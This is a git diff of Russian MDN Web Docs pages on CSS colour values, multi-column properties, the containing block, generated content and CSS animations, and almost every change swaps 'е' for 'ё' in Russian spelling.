        Цветовая модель RGB определяет заданный цвет в соответствии с его красными, зелеными и синими компонентами. Дополнительный Альфа-компонент представляет прозрачность цвета.

        +

        Цветовая модель RGB определяет заданный цвет в соответствии с его красными, зелёными и синими компонентами. Дополнительный Альфа-компонент представляет прозрачность цвета.

        Синтаксис

        @@ -1014,13 +1014,13 @@ translation_of: Web/CSS/color_value
        Шестнадцатеричное представление: #RRGGBB[AA]
        -
        R (red), G (green), B (blue), and A (alpha) are hexadecimal characters (0-9, A-F). A is optional. For example, #ff0000 is equivalent to #ff0000ffR (красный), G (зеленый), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Например, #ff0000 эквивалентно #ff0000ff.
        +
        R (red), G (green), B (blue), and A (alpha) are hexadecimal characters (0-9, A-F). A is optional. For example, #ff0000 is equivalent to #ff0000ffR (красный), G (зелёный), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Например, #ff0000 эквивалентно #ff0000ff.
        Шестнадцатеричное представление: #RGB[A]
        -
        R (красный), G (зеленый), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Трехзначная нотация (#RGB) является более короткой версией шестизначной формы (#RRGGBB). Например, #f09 имеет тот же цвет, что и #ff0099. Кроме того, четырехзначная нотация RGB (#RGB) является более короткой версией восьмизначной формы (#RRGGBBAA). Например, #0f38 имеет тот же цвет, что и #00ff3388.
        +
        R (красный), G (зелёный), B (синий) и A (Альфа) являются шестнадцатеричными символами (0-9, A-F). Это не является обязательным. Трёхзначная нотация (#RGB) является более короткой версией шестизначной формы (#RRGGBB). Например, #f09 имеет тот же цвет, что и #ff0099. Кроме того, четырёхзначная нотация RGB (#RGB) является более короткой версией восьмизначной формы (#RRGGBBAA). Например, #0f38 имеет тот же цвет, что и #00ff3388.
        Функциональная нотация: rgb(R, G, B[, A]) или rgba(R, G, B, A)
        -
        R (красный), G (зеленый) и B (синий) могут быть либо {{cssxref("<number>")}}s, либо {{cssxref("<percentage>")}}s, где число 255 соответствует 100%. А (Альфа) может быть {{cssxref("<number>")}} между 0 и 1 или {{cssxref("<percentage>")}}, где число 1 соответствует 100% (полная непрозрачность).
        +
        R (красный), G (зелёный) и B (синий) могут быть либо {{cssxref("<number>")}}s, либо {{cssxref("<percentage>")}}s, где число 255 соответствует 100%. А (Альфа) может быть {{cssxref("<number>")}} между 0 и 1 или {{cssxref("<percentage>")}}, где число 1 соответствует 100% (полная непрозрачность).
        Функциональная нотация: rgb(R G B[ A]) or rgba(R G B A)
        -
        CSS Colors Level 4 добавляет поддержку разделенных пробелами значений в функциональной нотации.
        +
        CSS Colors Level 4 добавляет поддержку разделённых пробелами значений в функциональной нотации.

        Пример

        @@ -1068,20 +1068,20 @@ rgb(1e2, .5e1, .5e0, +.25e2%)
        RGB вариации прозрачности
        /* Шестнадцатеричный синтаксис */
        -#3a30                    /*   0% непрозрачный зеленый цвет */ 
        -#3A3F                    /* полный непрозрачный зеленый цвет */ 
        -#33aa3300                /*   0% непрозрачный зеленый цвет */ 
        -#33AA3380                /* 50% непрозрачный зеленый цвет */ 
        +#3a30                    /*   0% непрозрачный зелёный цвет */ 
        +#3A3F                    /* полный непрозрачный зелёный цвет */ 
        +#33aa3300                /*   0% непрозрачный зелёный цвет */ 
        +#33AA3380                /* 50% непрозрачный зелёный цвет */ 
         
         /* Функциональный синтаксис */
        -rgba(51, 170, 51, .1)    /* непрозрачный зеленый цвет на 10%  */ 
        -rgba(51, 170, 51, .4)    /* непрозрачный зеленый цвет на */ 
        -rgba(51, 170, 51, .7)    /* непрозрачный зеленый цвет на 70% */ 
        -rgba(51, 170, 51,  1)    /* полный непрозрачный зеленый цвет  */ 
        +rgba(51, 170, 51, .1)    /* непрозрачный зелёный цвет на 10%  */ 
        +rgba(51, 170, 51, .4)    /* непрозрачный зелёный цвет на */ 
        +rgba(51, 170, 51, .7)    /* непрозрачный зелёный цвет на 70% */ 
        +rgba(51, 170, 51,  1)    /* полный непрозрачный зелёный цвет  */ 
         
         /* Синтаксис пробелов */
        -rgba(51 170 51 / 0.4)    /* непрозрачный зеленый цвет  на 40%*/ 
        -rgba(51 170 51 / 40%)    /* непрозрачный зеленый цвет на 40% */
        +rgba(51 170 51 / 0.4)    /* непрозрачный зелёный цвет  на 40%*/ 
        +rgba(51 170 51 / 40%)    /* непрозрачный зелёный цвет на 40% */
         
         /* Функциональный синтаксис со значением floats */
         rgba(255, 0, 153.6, 1)
        @@ -1092,7 +1092,7 @@ rgba(1e2, .5e1, .5e0, +.25e2%)
         
         

        Цветовая модель HSL определяет заданный цвет в соответствии с его компонентами оттенка, насыщенности и яркости. Дополнительный Альфа-компонент представляет прозрачность цвета.

        -

        Многие дизайнеры считают HSL более интуитивным, чем RGB, поскольку он позволяет независимо регулировать оттенок, насыщенность и легкость. HSL также может упростить создание набора подходящих цветов (например, когда вы хотите несколько оттенков одного оттенка).

        +

        Многие дизайнеры считают HSL более интуитивным, чем RGB, поскольку он позволяет независимо регулировать оттенок, насыщенность и лёгкость. HSL также может упростить создание набора подходящих цветов (например, когда вы хотите несколько оттенков одного оттенка).

        Синтаксис

        @@ -1104,14 +1104,14 @@ rgba(1e2, .5e1, .5e0, +.25e2%)
        Функциональная нотация: hsl(H, S, L[, A]) илиhsla(H, S, L, A)
        -
        H  (hue) - это {{cssxref("<угол>")}} цветового круга, заданного в degS, rads, градусах или поворотах {{SpecName("CSS4 Colors","#The-HSL-notation")}}. При записи в виде unitless {{cssxref ("<number>")}} он интерпретируется как Градусы, как указано в {{SpecName ("CSS3 Colors","#hsl-color")}}. По определению, red=0 deg=360 град, с другими цветами, распространенными по кругу, поэтому green=120deg град, blue=240deg град и т. д. В качестве < угла > он неявно обертывается таким образом, что -120deg=240deg, 480deg=120deg, -1turn=1turn, и т. д.
        -
        S (насыщенность) и L (легкость) являются процентами. 100% насыщенность полностью насыщена, в то время как 0% полностью ненасыщен (серый). 100% легкость белый, 0% легкость черный, и 50% легкость “нормально.”
        +
        H  (hue) - это {{cssxref("<угол>")}} цветового круга, заданного в degS, rads, градусах или поворотах {{SpecName("CSS4 Colors","#The-HSL-notation")}}. При записи в виде unitless {{cssxref ("<number>")}} он интерпретируется как Градусы, как указано в {{SpecName ("CSS3 Colors","#hsl-color")}}. По определению, red=0 deg=360 град, с другими цветами, распространёнными по кругу, поэтому green=120deg град, blue=240deg град и т. д. В качестве < угла > он неявно обёртывается таким образом, что -120deg=240deg, 480deg=120deg, -1turn=1turn, и т. д.
        +
        S (насыщенность) и L (лёгкость) являются процентами. 100% насыщенность полностью насыщена, в то время как 0% полностью ненасыщен (серый). 100% лёгкость белый, 0% лёгкость чёрный, и 50% лёгкость “нормально.”
        A (alpha) can be a {{cssxref("<number>")}} between 0 and 1, or a {{cssxref("<percentage>")}}, where the number 1 corresponds to 100% (full opacity). A (Альфа) может быть {{cssxref("<number>")}} между 0 и 1 или {{cssxref("<percentage>")}}, где число 1 соответствует 100% (полная непрозрачность).
        Функциональная нотация: hsl(H S L[ A]) or hsla(H S L A)
        -
        CSS Colors Level 4 добавляет поддержку разделенных пробелами значений в функциональной нотации.
        +
        CSS Colors Level 4 добавляет поддержку разделённых пробелами значений в функциональной нотации.

        Examples

        @@ -1212,7 +1212,7 @@ hsl(270 60% 50% / 15%)
      alternateчетноечётное 0% или from
      alternateнечетноенечётное 100% или to
      alternate-reverseчетноечётное 100% или to
      alternate-reverseнечетноенечётное 0% или from
      {{SpecName('CSS3 Backgrounds', '#the-background-attachment', 'background-attachment')}} {{Spec2('CSS3 Backgrounds')}}Сокращенное свойство было расширено для поддержки нескольких фонов и значения local.Сокращённое свойство было расширено для поддержки нескольких фонов и значения local.
      {{SpecName('CSS2.1', 'colors.html#propdef-background-attachment', 'background-attachment')}}
      {{SpecName('CSS3 Backgrounds', '#the-background-repeat', 'background-repeat')}} {{Spec2('CSS3 Backgrounds')}}Добавлена поддержка изображений с несколькими фонами, синтаксис с двумя значениями, обеспечивающий различное поведение повторения для горизонтального и вертикального направлений, ключевых слов space и round, а также для фона на элементе на уровне строки путем точного определения области рисования фона.Добавлена поддержка изображений с несколькими фонами, синтаксис с двумя значениями, обеспечивающий различное поведение повторения для горизонтального и вертикального направлений, ключевых слов space и round, а также для фона на элементе на уровне строки путём точного определения области рисования фона.
      {{SpecName('CSS2.1', 'colors.html#propdef-background-repeat', 'background-repeat')}}
      -
      Более светлая и более темная зелень
      +
      Более светлая и более тёмная зелень
      @@ -1328,17 +1328,17 @@ hsla(240 100% 50% / 5%)
      Background
      Фон рабочего стола.
      ButtonFace
      -
      Цвет фона лица для трехмерных элементов, которые появляются 3-D из-за одного слоя окружающей границы. Следует использовать с текстом ButtonText цвет переднего плана.
      +
      Цвет фона лица для трёхмерных элементов, которые появляются 3-D из-за одного слоя окружающей границы. Следует использовать с текстом ButtonText цвет переднего плана.
      ButtonHighlight
      -
      Цвет границы, обращенной к источнику света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы.
      +
      Цвет границы, обращённой к источнику света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы.
      ButtonShadow
      -
      Цвет границы вдали от источника света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы. Цвет границы находится вдали от источника света для трехмерных элементов, которые появляются 3-D из-за этого слоя, окружающего границу.
      +
      Цвет границы вдали от источника света для 3-D элементов, которые появляются 3-D из-за этого слоя окружающей границы. Цвет границы находится вдали от источника света для трёхмерных элементов, которые появляются 3-D из-за этого слоя, окружающего границу.
      ButtonText
      Следует использовать с ButtonFace или ThreeDFace цвет фона.
      CaptionText
      Текст в заголовке, поле размера и поле со стрелкой прокрутки. Следует использовать с цветом фона ActiveCaption.
      GrayText
      -
      Серый (отключен) текст.
      +
      Серый (отключён) текст.
      Highlight
      Элемент(ы), выбранный в элементе управления. Следует использовать с HighlightText текста цветом переднего плана.
      HighlightText
      @@ -1360,15 +1360,15 @@ hsla(240 100% 50% / 5%)
      Scrollbar
      Цвет фона полос прокрутки.
      ThreeDDarkShadow
      -
      Цвет более темной (как правило, внешней) из двух границ от источника света для трехмерных элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.
      +
      Цвет более тёмной (как правило, внешней) из двух границ от источника света для трёхмерных элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.
      ThreeDFace
      -
      Should be used with the ButtonText foreground color. Цвет фона лица для трехмерных элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы. Следует использовать с текстом кнопки цвет переднего плана.
      +
      Should be used with the ButtonText foreground color. Цвет фона лица для трёхмерных элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы. Следует использовать с текстом кнопки цвет переднего плана.
      ThreeDHighlight
      -
      Цвет более светлого (обычно внешнего) из двух границ, обращенных к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.
      +
      Цвет более светлого (обычно внешнего) из двух границ, обращённых к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.
      ThreeDLightShadow
      -
      Цвет более темной (обычно внутренней) из двух границ, обращенных к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.
      +
      Цвет более тёмной (обычно внутренней) из двух границ, обращённых к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.
      ThreeDShadow
      -
      Цвет более светлого (как правило, внутреннего) из двух границ от источника света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.
      +
      Цвет более светлого (как правило, внутреннего) из двух границ от источника света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоёв окружающей границы.
      Window
      Фон окна. Следует использовать с WindowText цвет переднего плана.
      WindowFrame
      @@ -1383,9 +1383,9 @@ hsla(240 100% 50% / 5%)
      -moz-ButtonDefault
      Цвет границы вокруг кнопки, которые обозначают действие по умолчанию для диалогового окна.
      -moz-ButtonHoverFace
      -
      Цвет фона кнопки, на которую наведен указатель мыши (который будет Трехлинейным или лицом кнопки, когда указатель мыши не находится над ним). Следует использовать с-moz-кнопка наведения текста цвет переднего плана.
      +
      Цвет фона кнопки, на которую наведён указатель мыши (который будет Трёхлинейным или лицом кнопки, когда указатель мыши не находится над ним). Следует использовать с-moz-кнопка наведения текста цвет переднего плана.
      -moz-ButtonHoverText
      -
      Цвет текста кнопки, на которую наведен указатель мыши (который будет ButtonText, когда указатель мыши не находится над ним). Следует использовать с--moz-ButtonHoverFace background color.
      +
      Цвет текста кнопки, на которую наведён указатель мыши (который будет ButtonText, когда указатель мыши не находится над ним). Следует использовать с--moz-ButtonHoverFace background color.
      -moz-CellHighlight
      Цвет фона для выбранного элемента в виджете дерево. Следует использовать с цветом переднего плана -moz-CellHighlightText. См. также-moz-html-CellHighlight.
      -moz-CellHighlightText
      @@ -1400,7 +1400,7 @@ hsla(240 100% 50% / 5%)
      Цвет текста для диалоговых окон. Должен использоваться с цветом фона -moz-Dialog.
      -moz-dragtargetzone
      -moz-EvenTreeRow
      -
      {{gecko_minversion_inline("1.9")}} цвет фона для четных строк в дереве. Должен использоваться с цветом переднего плана -moz-FieldText. В версиях Gecko до 1.9, используйте-moz-поле. См. также -moz-OddTreeRow.
      +
      {{gecko_minversion_inline("1.9")}} цвет фона для чётных строк в дереве. Должен использоваться с цветом переднего плана -moz-FieldText. В версиях Gecko до 1.9, используйте-moz-поле. См. также -moz-OddTreeRow.
      -moz-Field
      Text field background color. Should be used with the -moz-FieldText foreground color. Цвет фона текстового поля. Должен использоваться с цветом переднего плана-moz-FieldText.
      -moz-FieldText
      @@ -1435,7 +1435,7 @@ hsla(240 100% 50% / 5%)
      -moz-nativehyperlinktext
      {{Gecko_minversion_inline ("1.9.1")}} цвет гиперссылки платформы по умолчанию.
      -moz-OddTreeRow
      -
      {{gecko_minversion_inline("1.9")}} цвет фона для нечетных строк в дереве. Должен использоваться с цветом переднего плана -moz-FieldText. В версиях Gecko до 1.9, используйте -moz-Field. Смотрите также -moz-EvenTreeRow.
      +
      {{gecko_minversion_inline("1.9")}} цвет фона для нечётных строк в дереве. Должен использоваться с цветом переднего плана -moz-FieldText. В версиях Gecko до 1.9, используйте -moz-Field. Смотрите также -moz-EvenTreeRow.
      -moz-win-communicationstext
      {{gecko_minversion_inline ("1.9")}} следует использовать для текста в объектах с {{cssxref ("- moz-appearance")}}:- moz-win-communications-toolbox;.
      -moz-win-mediatext
      @@ -1445,7 +1445,7 @@ hsla(240 100% 50% / 5%) Используется для доступа к пользовательскому цвету акцента Windows 10, который можно установить в меню Пуск, панели задач, заголовках и т. д.
      -moz-win-accentcolortext
      {{gecko_minversion_inline ("56")}}
      - Используется для доступа к цвету текста, размещенного над цветом пользовательского акцента Windows 10 в меню Пуск, панели задач, заголовках и т. д.
      + Используется для доступа к цвету текста, размещённого над цветом пользовательского акцента Windows 10 в меню Пуск, панели задач, заголовках и т. д.

      Расширения Цветовых Предпочтений Mozilla

      @@ -1460,16 +1460,16 @@ hsla(240 100% 50% / 5%)
      -moz-hyperlinktext
      Предпочтения пользователя для цвета текста непрошеных ссылок. Должен использоваться с цветом фона документа по умолчанию.
      -moz-visitedhyperlinktext
      -
      Предпочтения пользователя для цвета текста посещенных ссылок. Должен использоваться с цветом фона документа по умолчанию.
      +
      Предпочтения пользователя для цвета текста посещённых ссылок. Должен использоваться с цветом фона документа по умолчанию.

      Интерполяция

      -

      В анимации и градиентах значения <color> интерполируются на каждый из их красных, зеленых и синих компонентов. Каждый компонент интерполируется как реальное число с плавающей запятой. Обратите внимание, что интерполяция цветов происходит в Альфа-предварительно умноженном цветовом пространстве rgba, чтобы предотвратить появление неожиданных серых цветов. В анимации, скорость интерполяции определяется функцией времени.

      +

      В анимации и градиентах значения <color> интерполируются на каждый из их красных, зелёных и синих компонентов. Каждый компонент интерполируется как реальное число с плавающей запятой. Обратите внимание, что интерполяция цветов происходит в Альфа-предварительно умноженном цветовом пространстве rgba, чтобы предотвратить появление неожиданных серых цветов. В анимации, скорость интерполяции определяется функцией времени.

      Соображения доступности

      -

      Некоторые люди с трудом различают цвета. Рекомендация WCAG 2.0 настоятельно рекомендует не использовать цвет в качестве единственного средства передачи определенного сообщения, действия или результата. Дополнительную информацию см. В разделе цвет и цветовой контраст.

      +

      Некоторые люди с трудом различают цвета. Рекомендация WCAG 2.0 настоятельно рекомендует не использовать цвет в качестве единственного средства передачи определённого сообщения, действия или результата. Дополнительную информацию см. В разделе цвет и цветовой контраст.

      Технические характеристики

      @@ -1485,7 +1485,7 @@ hsla(240 100% 50% / 5%)
      - + @@ -1507,7 +1507,7 @@ hsla(240 100% 50% / 5%)

      Совместимость браузера

      - +

      {{Compat("css.properties.color")}}

      diff --git a/files/ru/web/css/column-count/index.html b/files/ru/web/css/column-count/index.html index b0f17d4069..633d6a186b 100644 --- a/files/ru/web/css/column-count/index.html +++ b/files/ru/web/css/column-count/index.html @@ -3,7 +3,7 @@ title: column-count slug: Web/CSS/column-count tags: - Свойство - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-count ---
      {{CSSRef}}
      diff --git a/files/ru/web/css/column-rule-color/index.html b/files/ru/web/css/column-rule-color/index.html index b0b7cb3ade..3019c7e417 100644 --- a/files/ru/web/css/column-rule-color/index.html +++ b/files/ru/web/css/column-rule-color/index.html @@ -2,7 +2,7 @@ title: column-rule-color slug: Web/CSS/column-rule-color tags: - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-rule-color ---
      {{CSSRef}}
      diff --git a/files/ru/web/css/column-rule-style/index.html b/files/ru/web/css/column-rule-style/index.html index 70816fe051..a012d070de 100644 --- a/files/ru/web/css/column-rule-style/index.html +++ b/files/ru/web/css/column-rule-style/index.html @@ -2,7 +2,7 @@ title: column-rule-style slug: Web/CSS/column-rule-style tags: - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-rule-style ---
      {{ CSSRef}}
      diff --git a/files/ru/web/css/column-rule/index.html b/files/ru/web/css/column-rule/index.html index d590860976..d48f043c0d 100644 --- a/files/ru/web/css/column-rule/index.html +++ b/files/ru/web/css/column-rule/index.html @@ -2,7 +2,7 @@ title: column-rule slug: Web/CSS/column-rule tags: - - мультиколоночная верстка + - мультиколоночная вёрстка translation_of: Web/CSS/column-rule ---
      {{CSSRef}}
      @@ -13,7 +13,7 @@ translation_of: Web/CSS/column-rule -

      Эта краткая форма записи задает индивидуальные  column-rule-* свойства, обычно задаваемые: {{Cssxref("column-rule-width")}}, {{Cssxref("column-rule-style")}}, и {{Cssxref("column-rule-color")}}.

      +

      Эта краткая форма записи задаёт индивидуальные  column-rule-* свойства, обычно задаваемые: {{Cssxref("column-rule-width")}}, {{Cssxref("column-rule-style")}}, и {{Cssxref("column-rule-color")}}.

      Примечание: Как и с другими краткими формами записи, любые индивидуальные значения, не указанные явно принимают значение по умолчанию (возможно переопределение значений, заданных ранее с помощью свойств, не являющихся краткими формами).

      @@ -32,13 +32,13 @@ column-rule: initial; column-rule: unset; -

      Свойство column-rule указывается в виде одного, двух или трех значений, перечисленных ниже, в любом порядке.

      +

      Свойство column-rule указывается в виде одного, двух или трёх значений, перечисленных ниже, в любом порядке.

      Значения

      <'column-rule-width'>
      -
      {{cssxref("<length>")}} или одно из трех ключевых свойств, thin, medium, или thick. См. подробно -  {{cssxref("border-width")}}.
      +
      {{cssxref("<length>")}} или одно из трёх ключевых свойств, thin, medium, или thick. См. подробно -  {{cssxref("border-width")}}.
      <'column-rule-style'>
      См. подробно {{cssxref("border-style")}} .
      <'column-rule-color'>
      diff --git a/files/ru/web/css/column_combinator/index.html b/files/ru/web/css/column_combinator/index.html index 9fad1a33a2..171d4fd7bc 100644 --- a/files/ru/web/css/column_combinator/index.html +++ b/files/ru/web/css/column_combinator/index.html @@ -2,7 +2,7 @@ title: Комбинатор столбцов slug: Web/CSS/Column_combinator tags: - - Верстка + - Вёрстка - Селекторы translation_of: Web/CSS/Column_combinator --- diff --git a/files/ru/web/css/containing_block/index.html b/files/ru/web/css/containing_block/index.html index fe3fdd2254..644b4d4d54 100644 --- a/files/ru/web/css/containing_block/index.html +++ b/files/ru/web/css/containing_block/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/Containing_block

      На размер и позицию элемента часто влияет его содержащий блок (containing block). Чаще всего содержащим блоком является content область (content area) ближайшего блочного (block-level) предка, но это не всегда так. В этой статье мы рассмотрим факторы, которые определяют содержащий блок элемента.

      -

      Когда пользовательский агент (такой как ваш браузер) делает разметку документа, он создает бокс (box) для каждого элемента. Каждый бокс разделяется на следующие области:

      +

      Когда пользовательский агент (такой как ваш браузер) делает разметку документа, он создаёт бокс (box) для каждого элемента. Каждый бокс разделяется на следующие области:

      1. Content область или область контента (content area).
      2. @@ -33,15 +33,15 @@ translation_of: Web/CSS/Containing_block

        Определение содержащего блока элемента полностью зависит от значения свойства {{cssxref("position")}}:

          -
        1. Если свойство position имеет значение  static, relative, или sticky, то содержащий блок задается краем content бокса ближайшего предка, который: +
        2. Если свойство position имеет значение  static, relative, или sticky, то содержащий блок задаётся краем content бокса ближайшего предка, который:
          • либо является блочным контейнером (block container), например, если его свойство display имеет значение inline-block, block или list-item.
          • либо устанавливает контекст форматирования (formatting context), например, контейнер таблицы (table container), flex-контейнер (flex container), grid-контейнер (grid container) или блочный контейнер (block container).
        3. -
        4. Если свойство position имеет значение absolute, то содержащий блок задается краем padding бокса ближайшего предка, у которого свойство position имеет значение отличное от static (fixed, absolute, relative или sticky).
        5. -
        6. Если свойство position имеет значение fixed, то содержащий блок задается: +
        7. Если свойство position имеет значение absolute, то содержащий блок задаётся краем padding бокса ближайшего предка, у которого свойство position имеет значение отличное от static (fixed, absolute, relative или sticky).
        8. +
        9. Если свойство position имеет значение fixed, то содержащий блок задаётся:
          • в случае непрерывного медиа (continuous media) областью просмотра (вьюпорт - {{glossary("viewport")}});
          • в случае страничного медиа (paged media) областью страницы.
          • diff --git a/files/ru/web/css/content/index.html b/files/ru/web/css/content/index.html index 180c415cef..6d71c72e8e 100644 --- a/files/ru/web/css/content/index.html +++ b/files/ru/web/css/content/index.html @@ -60,18 +60,18 @@ content: unset;
            {{cssxref("<string>")}}
            Любое количество текстовых символов. Нелатинские символы должны быть закодированы с использованием их escape-последовательности Unicode: например, \000A9 представляет собой символ авторского права.
            {{cssxref("<url>")}}
            -
            URL-адрес, указывающий на внешний ресурс (к примеру, изображение). Если ресурс не может быть отображен, он игнорируется или отображается значение по умолчанию.
            +
            URL-адрес, указывающий на внешний ресурс (к примеру, изображение). Если ресурс не может быть отображён, он игнорируется или отображается значение по умолчанию.
            {{cssxref("<image>")}}
            {{cssxref("<image>")}}, указанный типом данных {{cssxref("<url>")}} или {{cssxref("<gradient>")}}, или частью веб-страницы, определяемой функцией {{cssxref("element", "element()")}}, указывающей содержимое для обозначения.
            {{cssxref("<counter>")}}
            -
            Значение CSS счетчика, как правило число. Его можно отобразить с помощью функций  {{cssxref("counter()")}} или{{cssxref("counters()")}}.
            +
            Значение CSS счётчика, как правило число. Его можно отобразить с помощью функций  {{cssxref("counter()")}} или{{cssxref("counters()")}}.
            -

            Функция counter() имеет две формы записи: 'counter(имя)' или 'counter(имя, стиль)'. Сгенерированный текст - это значение самого вложенного счетчика с заданным именем в области видимости данного элемента. Он отформатирован в указанном стиле (по умолчанию decimal).

            +

            Функция counter() имеет две формы записи: 'counter(имя)' или 'counter(имя, стиль)'. Сгенерированный текст - это значение самого вложенного счётчика с заданным именем в области видимости данного элемента. Он отформатирован в указанном стиле (по умолчанию decimal).

            -

            Функция counters() также имеет две формы записи: 'counters(name, string)' или 'counters(name, string, style)'. Сгенерированный текст - это значение всех счетчиков с заданным именем в области видимости данного элемента, от крайнего к вложенному. разделенных указанной строкой. Счетчики отображаются в указанном стиле (по умолчанию decimal).

            +

            Функция counters() также имеет две формы записи: 'counters(name, string)' или 'counters(name, string, style)'. Сгенерированный текст - это значение всех счётчиков с заданным именем в области видимости данного элемента, от крайнего к вложенному. разделённых указанной строкой. Счётчики отображаются в указанном стиле (по умолчанию decimal).

            attr(x)
            -
            Значение атрибута x элемента в виде строки. Если атрибут x отсутствует, вернется пустая строка. Чувствительность к регистру в названии атрибута зависит от языка документа.
            +
            Значение атрибута x элемента в виде строки. Если атрибут x отсутствует, вернётся пустая строка. Чувствительность к регистру в названии атрибута зависит от языка документа.
            open-quote | close-quote
            Эти значения заменяются соответствующей строкой из свойства {{cssxref("quotes")}}.
            no-open-quote | no-close-quote
            @@ -123,7 +123,7 @@ q::after { } h1::before { - content: "Chapter "; /* Пробел в конце создает разделение + content: "Chapter "; /* Пробел в конце создаёт разделение между добавленным контентом и остальным контентом*/ } @@ -169,7 +169,7 @@ h1::before {

            CSS

            .new-entry::after {
            -  content: " New!";  /* Начальный пробел создает разделение
            +  content: " New!";  /* Начальный пробел создаёт разделение
                                     между добавленным контентом
                                     и остальным контентом */
               color: red;
            @@ -245,7 +245,7 @@ li {
             
             

            Проблемы доступности

            -

            Сгенерированный CSS контент не включен в DOM. Из-за этого он не будет представлен в  accessibility tree и некоторые комбинации вспомогательных технологий/браузеров не будут его объявлять. Если контент содержит информацию, которая имеет решающее значение для понимания цели страницы, лучше включить ее в основной документ.

            +

            Сгенерированный CSS контент не включён в DOM. Из-за этого он не будет представлен в  accessibility tree и некоторые комбинации вспомогательных технологий/браузеров не будут его объявлять. Если контент содержит информацию, которая имеет решающее значение для понимания цели страницы, лучше включить её в основной документ.

            • Accessibility support for CSS generated content – Tink
            • diff --git a/files/ru/web/css/css_animations/detecting_css_animation_support/index.html b/files/ru/web/css/css_animations/detecting_css_animation_support/index.html index 785f85c87c..51b1c40887 100644 --- a/files/ru/web/css/css_animations/detecting_css_animation_support/index.html +++ b/files/ru/web/css/css_animations/detecting_css_animation_support/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/CSS_Animations/Detecting_CSS_animation_support ---
              {{CSSRef}}
              -

              CSS-анимации позволяют создавать креативные анимации контента, используя только CSS. Однако, скорее всего, будут случаи, когда эта функция недоступна, и вам придется решать эти задачи с помощью кода JavaScript, чтобы получить аналогичный эффект. Эта статья, основанная на посте в блоге Криса Хайльмана, демонстрирует такую технику.

              +

              CSS-анимации позволяют создавать креативные анимации контента, используя только CSS. Однако, скорее всего, будут случаи, когда эта функция недоступна, и вам придётся решать эти задачи с помощью кода JavaScript, чтобы получить аналогичный эффект. Эта статья, основанная на посте в блоге Криса Хайльмана, демонстрирует такую технику.

              Тестирование поддержки анимации CSS

              @@ -33,7 +33,7 @@ if( animation === false ) { }
            -

            Для начала мы определим несколько переменных. Мы предполагаем, что анимация не поддерживается установкой значения animation в false. Мы устанавливаем строке для animationstring - animation , которая является свойством, которое мы хотим установить позже. Мы создаем массив префиксов браузера для циклического перебора и устанавливаем pfx в пустую строку.

            +

            Для начала мы определим несколько переменных. Мы предполагаем, что анимация не поддерживается установкой значения animation в false. Мы устанавливаем строке для animationstring - animation , которая является свойством, которое мы хотим установить позже. Мы создаём массив префиксов браузера для циклического перебора и устанавливаем pfx в пустую строку.

            Затем мы проверяем, установлено ли свойство CSS {{cssxref("animation-name")}} в коллекции стилей для элемента, заданного переменной elem. Это означает, что браузер поддерживает CSS-анимацию без какого-либо префикса, чего на сегодняшний день никто из них не делает..

            @@ -80,7 +80,7 @@ if( animation === false ) {

            Следующая задача-фактически добавить ключевые кадры в CSS страницы. Первое, что нужно сделать, это посмотреть, есть ли уже таблица стилей в документе; если да, то мы просто вставляем описание ключевого кадра в эту таблицу стилей; это делается в строках 13-15.

            -

            Если таблицы стилей еще нет, то создается новый элемент {{HTMLElement("style")}}, а его содержимое устанавливается в значение keyframes. Затем новый элемент {{HTMLElement("style")}} вставляется в документ {{HTMLElement("head")}}, тем самым добавляя новую таблицу стилей в документ.

            +

            Если таблицы стилей ещё нет, то создаётся новый элемент {{HTMLElement("style")}}, а его содержимое устанавливается в значение keyframes. Затем новый элемент {{HTMLElement("style")}} вставляется в документ {{HTMLElement("head")}}, тем самым добавляя новую таблицу стилей в документ.

            View on JSFiddle

            diff --git a/files/ru/web/css/css_animations/tips/index.html b/files/ru/web/css/css_animations/tips/index.html index 495c3a3063..15929f6220 100644 --- a/files/ru/web/css/css_animations/tips/index.html +++ b/files/ru/web/css/css_animations/tips/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Animations/Tips

            Спецификация CSS Animations не предлагает способа запустить анимацию снова. Нет никакого волшебного метода resetAnimation () для элементов, и вы даже не можете просто установить элемент {{cssxref ("animation-play-state")}} в" running " снова. Вместо этого вы должны использовать хитрые трюки, чтобы запустить остановленную анимацию для воспроизведения.

            -

            Предлагаем вам один из способов, который мы считаем достаточно надежным и стабильным.

            +

            Предлагаем вам один из способов, который мы считаем достаточно надёжным и стабильным.

            HTML содержимое

            @@ -80,8 +80,8 @@ translation_of: Web/CSS/CSS_Animations/Tips
            1. Список классов CSS в элементе сбрасывается до простого "box". Это приводит к удалению всех других классов, которые в настоящее время применяются к элементу, включая класс "changing" , который обрабатывает анимацию. Другими словами, мы удаляем анимационный эффект из элемента. Однако изменения в списке классов не вступают в силу до тех пор, пока не будет завершен перерасчет стиля и не произойдет обновление, отражающее это изменение.
            2. -
            3. Чтобы убедиться, что стили пересчитаны, мы используем  {{domxref("window.requestAnimationFrame()")}} с колбэком. Наш колбэк выполняется непосредственно перед следующей перерисовкой документа. Проблема заключается в том,что, поскольку это происходит до перерисовки, перерасчет стиля еще не произошел! 
            4. -
